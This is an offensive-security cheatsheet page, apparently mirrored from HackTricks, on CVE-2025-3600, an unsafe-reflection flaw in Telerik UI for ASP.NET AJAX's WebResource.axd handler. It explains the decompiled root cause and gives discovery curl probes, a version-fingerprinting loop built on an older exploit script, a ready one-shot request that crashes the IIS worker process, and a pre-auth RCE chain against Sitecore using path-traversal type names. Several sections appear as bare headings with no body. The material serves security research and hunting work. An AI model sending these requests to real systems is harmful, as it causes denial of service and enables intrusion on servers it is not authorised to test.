repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.mdMarkdown262 lines13.1 KiBsource raw download

title: "Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)#

Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).

TL;DR#

Affected versions#

Affected surface and quick discovery#

Example probe and generic trigger:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Notes:

Useful code/operations checks:

<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />

<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'

Fast version triage on legacy installs#

If the same application also exposes the legacy type=rau handler, older Telerik tooling can still help you fingerprint the shared Telerik.Web.UI.dll version before attempting type=iec research. This does not exploit CVE-2025-3600 directly; it only reuses the fact that rau and iec live in the same assembly.

Practical use:

Example with the legacy CVE-2019-18935.py helper:

for YEAR in $(seq 2011 2025); do
  echo -n "$YEAR: "
  python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
    -u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done

Why this helps:

Root cause – unsafe reflection in ImageEditorCacheHandler#

The Image Editor cache download flow constructs an instance of a type supplied in prtype and only later casts it to ICacheImageProvider and validates the download key. The constructor has already run when validation fails.[2]

Relevant decompiled flow
// entrypoint
public void ProcessRequest(HttpContext context)
{
    string text = context.Request["dkey"];           // dkey
    string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
    ...
    if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
    {
        ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
        string key = context.Request["key"];
        if (text == "1" && !this.IsValidDownloadKey(text2))
        {
            this.CompleteAsBadRequest(context.ApplicationInstance);
            return; // cast/check happens after ctor has already run
        }
        using (EditableImage editableImage = imageProvider.Retrieve(key))
        {
            this.SendImage(editableImage, context, text, fileName);
        }
    }
}

private ICacheImageProvider GetImageProvider(HttpContext context)
{
    if (!string.IsNullOrEmpty(context.Request["prtype"]))
    {
        return RadImageEditor.InitCacheImageProvider(
            RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
        );
    }
    ...
}

public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
    return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
        typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}

protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
    // unsafe: construct before enforcing interface type-safety
    return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}

Exploit primitive: controlled type string → Type.GetType resolves it → Activator.CreateInstance runs its public parameterless constructor. Even if the request is rejected afterward, constructor side effects have already occurred.

Universal DoS gadget (no app-specific gadgets required)#

Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) has a finalizer that disposes an uninitialized handle, causing an unhandled exception when GC finalizes it. This reliably crashes the IIS worker process shortly after instantiation.[2][3]

One‑shot DoS request:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes:

From DoS to RCE – escalation patterns#

Unsafe constructor execution unlocks many target‑specific gadgets and chains.[2] Hunt for:

  1. Parameterless constructors that process attacker input
  1. Constructors that touch files
  1. Constructors performing app-specific ops
  1. Constructors/static ctors that register AppDomain event handlers
  1. Forcing AssemblyResolve via Type.GetType
This.Class.Does.Not.Exist, watchTowr
  1. Finalizers with destructive side effects

Example pre‑auth RCE chain (Sitecore XP)#

Trigger examples:

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Validation, hunting and DFIR notes#

Mitigation#

Cheat‑sheet#

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
This.Class.Does.Not.Exist, watchTowr

Iis Internet Information Services

Exploiting Viewstate Parameter

References#